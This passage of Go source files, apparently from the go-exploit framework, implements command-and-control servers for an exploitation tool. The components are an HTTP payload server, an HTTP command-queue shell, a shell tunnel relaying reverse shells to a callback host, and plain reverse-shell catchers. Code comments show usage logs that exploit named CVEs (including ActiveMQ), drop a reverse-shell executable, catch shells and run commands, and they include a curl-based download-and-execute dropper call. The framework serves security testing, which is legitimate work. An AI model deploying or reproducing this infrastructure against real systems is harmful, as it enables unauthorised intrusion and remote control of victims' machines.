httpServer.HTTPAddr, httpServer.HTTPPort) wg.Add(1) go func() { if httpServer.TLS { output.PrintfFrameworkStatus("Starting an HTTPS server on %s", connectionString) tlsConfig := &tls.Config{ Certificates: []tls.Certificate{httpServer.Certificate}, // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. MinVersion: tls.VersionSSL30, } server := http.Server{ Addr: connectionString, TLSConfig: tlsConfig, } defer server.Close() // Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown go func() { for { if httpServer.Channel().Shutdown.Load() { server.Close() httpServer.Shutdown() wg.Done() break } time.Sleep(10 * time.Millisecond) } }() // Handle timeouts go func() { time.Sleep(time.Duration(timeout) * time.Second) output.PrintFrameworkError("Timeout met. Shutting down shell listener.") // We do not care about sessions with file httpServer.channel.Shutdown.Store(true) }() _ = server.ListenAndServeTLS("", "") } else { output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString) server := http.Server{ Addr: connectionString, } defer server.Close() // Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown go func() { for { if httpServer.Channel().Shutdown.Load() { server.Close() httpServer.Shutdown() wg.Done() break } time.Sleep(10 * time.Millisecond) } }() // Handle timeouts go func() { time.Sleep(time.Duration(timeout) * time.Second) output.PrintFrameworkError("Timeout met. Shutting down shell listener.") // We do not care about sessions with file httpServer.channel.Shutdown.Store(true) }() _ = http.ListenAndServe(connectionString, nil) } }() wg.Wait() httpServer.Channel().Shutdown.Store(true) } // Returns the random name of the provided filename. If filename is empty, return the first entry. func (httpServer *Server) GetRandomName(filename string) string { if len(filename) == 0 { for _, hosted := range httpServer.HostedFiles { return hosted.RandomName } } hosted, found := httpServer.HostedFiles[filename] if !found { output.PrintfFrameworkError("Requested a file that doesn't exist: %s", filename) return "" } return hosted.RandomName } ================================================ FILE: c2/httpserveshell/httpserveshell.go ================================================ // httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer). // The use case is when you want to drop/execute a custom binary, but you still want to catch it in // go-exploit. Example usage: // // albinolobster@mournland:~/initial-access/feed/cve-2023-30801$ ./build/cve-2023-30801_linux-arm64 // -e -rhost 10.9.49.133 -lhost 10.9.49.134 -lport 1270 -httpServeFile.BindAddr 10.9.49.134 // -httpServeShell.SSLShell=false -httpServeFile.FilesToServe ./build/reverse_shell_windows-amd64.exe // -httpServeFile.TLS=true // time=2023-09-08T11:07:20.852-04:00 level=STATUS msg="Loading the provided file: ./build/reverse_shell_windows-amd64.exe" // time=2023-09-08T11:07:20.856-04:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate" // time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting listener on 10.9.49.134:1270" // time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.133 port=8080 ssl=false "ssl auto"=false // time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting an HTTPS server on 10.9.49.134:8080" // time=2023-09-08T11:07:21.092-04:00 level=STATUS msg="Using session: SID=rIOk9SAl5TXTqIfpVGmYUn/kB+VuMrqo" // time=2023-09-08T11:07:21.095-04:00 level=STATUS msg="Selecting a Windows payload" // time=2023-09-08T11:07:21.309-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.133:51706" // time=2023-09-08T11:07:21.309-04:00 level=STATUS msg="Active shell from 10.9.49.133:51706" // time=2023-09-08T11:07:23.180-04:00 level=STATUS msg="Exploit successfully completed" // whoami // albinolobst9bd8\albinolobster // // From the exploit code, interacting with the variables isn't too much different from using httpServeFile // (since httpServeShell is just a wrapper): // // downAndExec := dropper.Windows.CurlHTTP( // httpservefile.GetInstance().HTTPAddr, httpservefile.GetInstance().HTTPPort, // httpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName(windows64)) // // Which means anything that supports httpServeShell should also trivially support httpServeFile (and the other way around // as long as you are accounting for httpServeFile.SSLShell). package httpserveshell import ( "flag" "sync" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/c2/httpservefile" "github.com/vulncheck-oss/go-exploit/c2/simpleshell" "github.com/vulncheck-oss/go-exploit/c2/sslshell" "github.com/vulncheck-oss/go-exploit/output" ) type Server struct { // Indicates if we should use SSLShell or SimpleShell SSLShell bool // The HTTP address to bind to HTTPAddr string // The HTTP port to bind to HTTPPort int // The underlying C2 channel with metadata and session information channel *channel.Channel pastTimeout atomic.Bool } var singleton *Server // A basic singleton interface for the c2. func GetInstance() *Server { if singleton == nil { singleton = new(Server) } return singleton } // User options for serving a file over HTTP as the "c2". func (serveShell *Server) CreateFlags() { flag.BoolVar(&serveShell.SSLShell, "httpServeShell.SSLShell", false, "Indicates if the SSLShell or SimpleShell is used") // normal "httpservefile" uses lhost,lport for binding so we need to create new vars for that flag.StringVar(&serveShell.HTTPAddr, "httpServeFile.BindAddr", "", "The address to bind the HTTP serve to") flag.IntVar(&serveShell.HTTPPort, "httpServeFile.BindPort", 8080, "The port to bind the HTTP serve to") httpservefile.GetInstance().CreateFlags() sslshell.GetInstance().CreateFlags() } // load the provided file into memory. Generate the random filename. func (serveShell *Server) Init(ch *channel.Channel) bool { if ch.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) ch.Shutdown = &shutdown } serveShell.pastTimeout.Store(false) serveShell.channel = ch if len(serveShell.HTTPAddr) == 0 { output.PrintFrameworkError("User must specify -httpServeFile.BindAddr") return false } ch.HTTPAddr = serveShell.HTTPAddr ch.HTTPPort = serveShell.HTTPPort if !httpservefile.GetInstance().Init(ch) { return false } // Initialize the shell server channels with variables from upstream var shutdown atomic.Bool shutdown.Store(false) shellChannel := &channel.Channel{ IPAddr: ch.IPAddr, Port: ch.Port, IsClient: false, Shutdown: &shutdown, } if serveShell.SSLShell { return sslshell.GetInstance().Init(shellChannel) } return simpleshell.GetServerInstance().Init(shellChannel) } // Shutdown triggers the shutdown for all running C2s. func (serveShell *Server) Shutdown() bool { // Account for non-running case if serveShell.Channel() == nil { return true } // This is a bit confusing at first glance, but it solves the fact that this c2 doesn't directly // keep track of sessions and we can't differentiate between a timeout "done" and a signal "done". // What this means is that if a underlying shell server has sessions that we want to keep open for // use after callbacks occur we have to account for a few things: // // - If serveShell shutdown is called and there are no sessions, just trigger shutdown on the // underlying shell server (easy). // - If the server does have sessions, we have a few issues. The serveShell shutdown is triggered // from a shutdown call, meaning that it's already in a closing state. There is no way to tell // if it was an OS signal or a timeout anymore and now if a background shell is running and we // are closing serveShell we cannot catch the signal and pass the shutdown to the shell server. // // In order to solve the second, we added a `pastTimeout` atomic that only signals if we are past // timeout. Now, when timeout is reached and there's a background shell (the positive case) we // reset the Shutdown atomic to false and then begin looping to check if it closes again, making // the server in a state that it knows it's past timeout and reactivating the server until a // signal is hit or the underlying server also shuts down. httpservefile.GetInstance().Channel().Shutdown.Store(true) if serveShell.SSLShell { if !sslshell.GetInstance().Channel().HasSessions() { sslshell.GetInstance().Channel().Shutdown.Store(true) } else { // Session exist, reset the shutdown atomic and loop until a second shutdown occurs. serveShell.Channel().Shutdown.Store(false) for { if serveShell.Channel().Shutdown.Load() { // The the shutdown happens and it is past timeout, that means that // we have sessions but timeout has passed, so reset all atomics. // Now when the loop happens we will be able to check for other // shutdown signals of any kind. if serveShell.pastTimeout.Load() { serveShell.Channel().Shutdown.Store(false) serveShell.pastTimeout.Store(false) } else { sslshell.GetInstance().Channel().Shutdown.Store(true) break } } } } } else { if !simpleshell.GetServerInstance().Channel().HasSessions() { simpleshell.GetServerInstance().Channel().Shutdown.Store(true) } else { // Session exist, reset the shutdown atomic and loop until a second shutdown occurs. serveShell.Channel().Shutdown.Store(false) for { if serveShell.Channel().Shutdown.Load() { // The the shutdown happens and it is past timeout, that means that // we have sessions but timeout has passed, so reset all atomics. // Now when the loop happens we will be able to check for other // shutdown signals of any kind. if serveShell.pastTimeout.Load() { serveShell.Channel().Shutdown.Store(false) serveShell.pastTimeout.Store(false) } else { simpleshell.GetServerInstance().Channel().Shutdown.Store(true) break } } } } } return true } // Return the underlying C2 channel. func (serveShell *Server) Channel() *channel.Channel { return serveShell.channel } // start the http server and shell and wait for them to exit. func (serveShell *Server) Run(timeout int) { var wg sync.WaitGroup // Check if the channel has signaled shutdown and trigger cleanup no matter where it comes from. go func() { for { if serveShell.channel.Shutdown.Load() { serveShell.Shutdown() wg.Done() break } time.Sleep(10 * time.Millisecond) } }() go func() { time.Sleep(time.Duration(timeout) * time.Second) serveShell.pastTimeout.Store(true) }() // Spin up the shell wg.Add(1) go func() { if serveShell.SSLShell { sslshell.GetInstance().Run(timeout) // Handle shutdown for OS signaling or timeout from underlying instance go func() { for { if sslshell.GetInstance().Channel().Shutdown.Load() { serveShell.Channel().Shutdown.Store(true) wg.Done() break } time.Sleep(10 * time.Millisecond) } }() } else { simpleshell.GetServerInstance().Run(timeout) // Handle shutdown for OS signaling or timeout from underlying instance go func() { for { if simpleshell.GetServerInstance().Channel().Shutdown.Load() { serveShell.Channel().Shutdown.Store(true) wg.Done() break } time.Sleep(10 * time.Millisecond) } }() } }() // Spin up the http server wg.Add(1) go func() { httpservefile.GetInstance().Run(timeout) }() // wait until the go routines are clean up wg.Wait() } ================================================ FILE: c2/httpshellserver/httpshellserver.go ================================================ // A C2 server that handles shell interaction over HTTP. package httpshellserver import ( "bufio" "crypto/tls" "flag" "fmt" "io" "net/http" "os" "strings" "sync" "sync/atomic" "testing" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/encryption" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/random" ) var ( singleton *Server cliLock sync.Mutex commandChan = make(chan string) lastSeen time.Time ) type Server struct { // The HTTP address to bind to HTTPAddr string // The HTTP port to bind to HTTPPort int // Set to the Server field in HTTP response ServerField string // Indicates if TLS should be enabled TLS bool // The file path to the user provided private key (if provided) PrivateKeyFile string // The file path to the user provided certificate (if provided) CertificateFile string // Loaded certificate Certificate tls.Certificate // Allows us to track if a connection has been received during the life of the server Success bool // Randomly generated during init, gives some sense of security where there is otherwise none. // This should appear in a header with the name VC-Auth AuthHeader string channel *channel.Channel } // A basic singleton interface for the c2. func GetInstance() *Server { if singleton == nil { singleton = new(Server) } return singleton } func (httpServer *Server) Init(channel *channel.Channel) bool { if channel.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) channel.Shutdown = &shutdown } if channel == nil { output.PrintFrameworkError("Channel passed to C2 init was nil, ensure that channel is assigned and the shutdown atomic is set to false") return false } httpServer.channel = channel if testing.Testing() { httpServer.AuthHeader = "testing-auth-header" } else { httpServer.AuthHeader = random.RandLetters(20) } if channel.IsClient { output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.") return false } switch { case channel.Port != 0: httpServer.HTTPAddr = channel.IPAddr httpServer.HTTPPort = channel.Port default: output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.") return false } if httpServer.TLS { var ok bool var err error if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 { httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile) if err != nil { output.PrintfFrameworkError("Error loading certificate: %s", err.Error()) return false } } else { output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") httpServer.Certificate, ok = encryption.GenerateCertificate() if !ok { return false } } } return true } // User options for serving a file over HTTP as the "c2". func (httpServer *Server) CreateFlags() { flag.StringVar(&httpServer.ServerField, "httpShellServer.ServerField", "Apache", "The value to insert in the HTTP server field") flag.BoolVar(&httpServer.TLS, "httpShellServer.TLS", false, "Indicates if the HTTP server should use encryption") flag.StringVar(&httpServer.PrivateKeyFile, "httpShellServer.PrivateKeyFile", "", "A private key to use with the HTTPS server") flag.StringVar(&httpServer.CertificateFile, "httpShellServer.CertificateFile", "", "The certificate to use with the HTTPS server") } // Get the underlying C2 channel with metadata and session information. func (httpServer *Server) Channel() *channel.Channel { return httpServer.channel } // Shutdown the C2 server and cleanup all the sessions. func (httpServer *Server) Shutdown() bool { // Account for non-running case if httpServer.Channel() == nil { return true } output.PrintFrameworkStatus("Shutting down the HTTP Server") if len(httpServer.Channel().Sessions) > 0 { for k := range httpServer.Channel().Sessions { httpServer.Channel().RemoveSession(k) } } return true } // start the HTTP server and listen for incoming requests for `httpServer.FileName`. // //nolint:gocognit func (httpServer *Server) Run(timeout int) { http.HandleFunc("/rx", func(writer http.ResponseWriter, req *http.Request) { authHeader := req.Header.Get("Vc-Auth") if authHeader != httpServer.AuthHeader { writer.WriteHeader(http.StatusForbidden) output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("Vc-Auth"), httpServer.AuthHeader) return } body, _ := io.ReadAll(req.Body) if strings.TrimSpace(string(body)) != "" { output.PrintShell(fmt.Sprintf("%s: %s", req.RemoteAddr, string(body))) } }) http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) { authHeader := req.Header.Get("Vc-Auth") if authHeader != httpServer.AuthHeader { writer.WriteHeader(http.StatusForbidden) output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("Vc-Auth"), httpServer.AuthHeader) return } lastSeen = time.Now() writer.Header().Set("Server", httpServer.ServerField) if !httpServer.Success { go func() { httpServer.Success = true httpServer.Channel().AddSession(nil, req.RemoteAddr) output.PrintfSuccess("Received initial connection from %s, entering shell", req.RemoteAddr) cliLock.Lock() defer cliLock.Unlock() for { elapsed := time.Since(lastSeen) if elapsed/time.Millisecond > 10000 { fmt.Printf("last seen: %ds> ", time.Since(lastSeen)/time.Second) } else { fmt.Printf("last seen: %dms> ", time.Since(lastSeen)/time.Millisecond) } reader := bufio.NewReader(os.Stdin) command, _ := reader.ReadString('\n') trimmedCommand := strings.TrimSpace(command) if trimmedCommand == "help" { fmt.Printf("Usage:\nType a command and it will be added to the queue to be distributed to the first connection\ntype exit to shut everything down.\n") continue } if trimmedCommand == "exit" { output.PrintStatus("Exit received, shutting down") httpServer.Channel().Shutdown.Store(true) return } if strings.TrimSpace(command) != "" { commandChan <- strings.TrimSpace(command) } } }() } select { case command := <-commandChan: writer.WriteHeader(http.StatusOK) fmt.Fprint(writer, command) default: writer.WriteHeader(http.StatusOK) } }) var wg sync.WaitGroup connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort) wg.Add(1) go func() { if httpServer.TLS { output.PrintfFrameworkStatus("Starting an HTTPS server on %s...", connectionString) tlsConfig := &tls.Config{ Certificates: []tls.Certificate{httpServer.Certificate}, // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. //nolint MinVersion: tls.VersionSSL30, } server := http.Server{ Addr: connectionString, TLSConfig: tlsConfig, // required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2 TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1), } defer server.Close() // Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown go func() { for { if httpServer.Channel().Shutdown.Load() { httpServer.Shutdown() server.Close() wg.Done() break } time.Sleep(10 * time.Millisecond) } }() // Handle timeouts go func() { time.Sleep(time.Duration(timeout) * time.Second) if !httpServer.Channel().HasSessions() { output.PrintFrameworkError("Timeout met. Shutting down shell listener.") httpServer.channel.Shutdown.Store(true) } }() _ = server.ListenAndServeTLS("", "") } else { output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString) server := http.Server{ Addr: connectionString, } defer server.Close() // Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown go func() { for { if httpServer.Channel().Shutdown.Load() { server.Close() httpServer.Shutdown() wg.Done() break } time.Sleep(10 * time.Millisecond) } }() // Handle timeouts go func() { time.Sleep(time.Duration(timeout) * time.Second) if !httpServer.Channel().HasSessions() { output.PrintFrameworkError("Timeout met. Shutting down shell listener.") httpServer.channel.Shutdown.Store(true) } }() _ = server.ListenAndServe() } }() wg.Wait() httpServer.Channel().Shutdown.Store(true) } ================================================ FILE: c2/shelltunnel/shelltunnel.go ================================================ // shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and // a connectback server. It essentially allows for this setup: // // | Box 1 | | Box 2 | | Box 3 | // | nc -l | <- shell traffic -> | shell tunnel | <- shell traffic -> | shell origin | // // Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker // box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as // an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just // copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5 // proxy or more advanced tunneling because it simply works and requires, for the exploit dev, // no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever). // // Usage example using an unencrypted reverse shell: // // albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 // time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270" // time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false // time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270" // time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ" // time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting... // time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit" // time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload" // time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload" // time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440" // time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!" // time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true // // Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener // at 10.9.49.12:1270. The shell there looks like this: // // parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270 // Listening on 0.0.0.0 1270 // Connection received on 10.9.49.192 51478 // pwd // /opt/apache-activemq-5.15.2 // // The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so: // // ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen // // And the reverse shell can now be caught by openssl: // // parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270 // pwd // /opt/apache-activemq-5.15.2 package shelltunnel import ( "crypto/tls" "errors" "flag" "fmt" "io" "net" "strconv" "strings" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/encryption" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) type Server struct { // the TCP listener that will accept all the connections Listener net.Listener // the server address/hostname to tunnel the data to ConnectBackHost string // the server port to tunnel the data to ConnectBackPort int // indicates if we should use an encrypted tunnel to the server ConnectBackSSL bool // indicates if we should be listening as an SSL server SSLShellServer bool // The file path to the user provided private key (if provided) PrivateKeyFile string // The file path to the user provided certificate (if provided) CertificateFile string // Underlying C2 channel with metadata and session tracking channel *channel.Channel } var ( serverSingleton *Server ErrTLSListener = errors.New("tls listener init") ) func GetInstance() *Server { if serverSingleton == nil { serverSingleton = new(Server) } return serverSingleton } func (shellTunnel *Server) CreateFlags() { flag.StringVar(&shellTunnel.ConnectBackHost, "shellTunnel.cbHost", "", "The server to tunnel the data back to") flag.IntVar(&shellTunnel.ConnectBackPort, "shellTunnel.cbPort", 1270, "The server port to tunnel the data back to") flag.BoolVar(&shellTunnel.ConnectBackSSL, "shellTunnel.cbSSL", false, "Indicates if the connect-back should use SSL/TLS") // optional for when SSL server is enabled flag.BoolVar(&shellTunnel.SSLShellServer, "shellTunnel.sslListen", false, "Indicates if we should listen as an SSL/TLS server") flag.StringVar(&shellTunnel.PrivateKeyFile, "shellTunnel.PrivateKeyFile", "", "A private key to use when being an SSL server") flag.StringVar(&shellTunnel.CertificateFile, "shellTunnel.CertificateFile", "", "The certificate to use when being an SSL server") } func (shellTunnel *Server) Init(channel *channel.Channel) bool { if channel.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) channel.Shutdown = &shutdown } shellTunnel.channel = channel if channel.IsClient { output.PrintFrameworkError("Called ShellTunnel as a client. Use lhost and lport.") return false } if shellTunnel.ConnectBackHost == "" { output.PrintFrameworkError("Failed to provide a connect back host") return false } if shellTunnel.ConnectBackPort == 0 { output.PrintFrameworkError("Failed to provide a connect back port") return false } output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port) var err error if shellTunnel.SSLShellServer { shellTunnel.Listener, err = shellTunnel.createTLSListener(channel) } else { shellTunnel.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port)) } if err != nil { output.PrintFrameworkError("Couldn't create the server: " + err.Error()) return false } return true } func (shellTunnel *Server) Shutdown() bool { // Account for non-running case if shellTunnel.Channel() == nil { return true } output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for shell tunnel") if len(shellTunnel.Channel().Sessions) > 0 { for k, session := range shellTunnel.Channel().Sessions { output.PrintfFrameworkStatus("Connection closed: %s", session.RemoteAddr) shellTunnel.Channel().RemoveSession(k) } } shellTunnel.Listener.Close() return true } func (shellTunnel *Server) Channel() *channel.Channel { return shellTunnel.channel } func (shellTunnel *Server) Run(timeout int) { // terminate the server if no shells come in within timeout seconds go func() { time.Sleep(time.Duration(timeout) * time.Second) if !shellTunnel.Channel().HasSessions() { output.PrintFrameworkError("Timeout met. Shutting down shell listener.") shellTunnel.Channel().Shutdown.Store(true) } }() go func() { for { if shellTunnel.Channel().Shutdown.Load() { shellTunnel.Shutdown() break } time.Sleep(10 * time.Millisecond) } }() // Accept arbitrary connections. In the future we need something for the // user to select which connection to make active for { client, err := shellTunnel.Listener.Accept() if err != nil { if !strings.Contains(err.Error(), "use of closed network connection") { output.PrintFrameworkError(err.Error()) } return } if shellTunnel.Channel().Shutdown.Load() { break } output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr()) // ShellTunnel is a bit of an outliar as we need to track the incoming connections and also the // tunneled connections. This will allow for cleanup of connections on both ends of the pipe, // but may not be immediately clear. shellTunnel.Channel().AddSession(&client, client.RemoteAddr().String()) go handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL, shellTunnel.channel) time.Sleep(10 * time.Millisecond) } } func (shellTunnel *Server) createTLSListener(channel *channel.Channel) (net.Listener, error) { var ok bool var err error var certificate tls.Certificate if len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 { certificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile) if err != nil { return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener) } } else { output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") certificate, ok = encryption.GenerateCertificate() if !ok { return nil, fmt.Errorf("GenerateCertificate failed %w", ErrTLSListener) } } output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port) listener, err := tls.Listen( "tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{ Certificates: []tls.Certificate{certificate}, // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. MinVersion: tls.VersionSSL30, }) if err != nil { return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener) } return listener, nil } func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool, ch *channel.Channel) { defer clientConn.Close() // attempt to connect back to the serve. MixedConnect is both proxy aware and can // produce an ssl or unencrypted connection so works pretty nice here serverConn, ok := protocol.MixedConnect(host, port, ssl) if !ok { // This is a bit of a hack as the type of C2 callbacks is not tracked and we will have 1 // in the sessions from the client call. This checks if it's 1 or less and if it is then it // will drop future conns. if len(ch.Sessions) <= 1 { output.PrintfFrameworkError("Failed to connect back to %s:%d closing server", host, port) ch.Shutdown.Store(true) return } output.PrintfFrameworkError("Failed to connect back to %s:%d", host, port) return } ch.AddSession(&serverConn, serverConn.RemoteAddr().String()) output.PrintfFrameworkSuccess("Connect back to %s:%d success!", host, port) defer serverConn.Close() done := make(chan struct{}) // copy between the two endpoints until one dies go func() { _, _ = io.Copy(serverConn, clientConn) done <- struct{}{} }() go func() { _, _ = io.Copy(clientConn, serverConn) done <- struct{}{} }() <-done // Trigger shutdown after the first connection is dropped. in a future where multiple are handled // this might not be ideal. Revist this when that time comes. ch.Shutdown.Store(true) } ================================================ FILE: c2/simpleshell/simpleshellclient.go ================================================ package simpleshell import ( "net" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/c2/cli" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) type Client struct { ConnectAddr string ConnectPort int channel *channel.Channel } var clientSingleton *Client func GetClientInstance() *Client { if clientSingleton == nil { clientSingleton = new(Client) } return clientSingleton } func (shellClient *Client) CreateFlags() { } func (shellClient *Client) Shutdown() bool { // Account for non-running case if shellClient.Channel() == nil { return true } ok := shellClient.Channel().RemoveSessions() // we done here output.PrintfFrameworkStatus("Connection closed") return ok } func (shellClient *Client) Channel() *channel.Channel { return shellClient.channel } func (shellClient *Client) Init(channel *channel.Channel) bool { if channel.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) channel.Shutdown = &shutdown } shellClient.ConnectAddr = channel.IPAddr shellClient.ConnectPort = channel.Port shellClient.channel = channel if !channel.IsClient { output.PrintFrameworkError("Called SimpleShellClient as a server. Use bport.") return false } if channel.Port == 0 { output.PrintFrameworkError("Provided an invalid bind port.") return false } return true } func (shellClient *Client) Run(timeout int) { conn, ok := connect(shellClient.ConnectAddr, shellClient.ConnectPort, timeout) if !ok { return } // Track if the C2 is indicated to shutdown for any reason. go func() { for { if shellClient.Channel().Shutdown.Load() { shellClient.Shutdown() break } time.Sleep(10 * time.Millisecond) } }() output.PrintfFrameworkStatus("Active shell on %s:%d", shellClient.ConnectAddr, shellClient.ConnectPort) shellClient.Channel().AddSession(&conn, conn.RemoteAddr().String()) cli.Basic(conn, shellClient.channel) shellClient.Channel().Shutdown.Store(true) } func connect(host string, port int, timeout int) (net.Conn, bool) { // loop every three seconds until timeout for i := 0; i < timeout; i += 3 { // TCPConnect is proxy aware, so it will use the proxy if configured conn, ok := protocol.TCPConnect(host, port) if ok { output.PrintfFrameworkSuccess("Connected to %s:%d!", host, port) return conn, true } // this is technically not correct. TCPConnect itself has a 10 second timeout. If the server doesn't // send a RST when we try to connect then we'll wait the full 10 + this 3 for a full 13... which means // we won't honor the timeout correctly. time.Sleep(3 * time.Second) } return nil, false } ================================================ FILE: c2/simpleshell/simpleshellserver.go ================================================ // A simple unencrypted reverse shell C2. package simpleshell import ( "net" "strconv" "strings" "sync" "sync/atomic" "time" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/c2/cli" "github.com/vulncheck-oss/go-exploit/output" ) // The SimpleShellServer implements a basic reverse shell catcher. The server listens on a user provided // port and catches incoming unencrypted connections. The c2 implements a basic command line that lacks // any type of useful bash-like features (history, interactive behavior, displaying of stderr, etc). // The server can accept multiple connections, but the user has no way of swapping between them unless // the terminate the connection. type Server struct { Listener net.Listener channel *channel.Channel } var serverSingleton *Server // A basic singleton interface for the c2. func GetServerInstance() *Server { if serverSingleton == nil { serverSingleton = new(Server) } return serverSingleton } // User options for the simple shell server (currently empty). func (shellServer *Server) CreateFlags() { } // Get the underlying C2 channel with metadata and session information. func (shellServer *Server) Channel() *channel.Channel { return shellServer.channel } // Shutdown the C2 and cleanup any active connections. func (shellServer *Server) Shutdown() bool { // Account for non-running case if shellServer.Channel() == nil { return true } output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for shell server") if len(shellServer.Channel().Sessions) > 0 { for k, session := range shellServer.Channel().Sessions { output.PrintfFrameworkStatus("Connection closed for shell server: %s", session.RemoteAddr) shellServer.Channel().RemoveSession(k) } } shellServer.Listener.Close() return true } // Validate configuration and create the listening socket. func (shellServer *Server) Init(channel *channel.Channel) bool { if channel.Shutdown == nil { // Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually // configured. var shutdown atomic.Bool shutdown.Store(false) channel.Shutdown = &shutdown } shellServer.channel = channel if channel.IsClient { output.PrintFrameworkError("Called SimpleShellServer as a client. Use lhost and lport.") return false } output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port) var err error shellServer.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port)) if err != nil { output.PrintFrameworkError("Couldn't create the server: " + err.Error()) return false } return true } // Listen for incoming. func (shellServer *Server) Run(timeout int) { // mutex for user input var cliLock sync.Mutex // terminate the server if no shells come in within timeout seconds go func() { 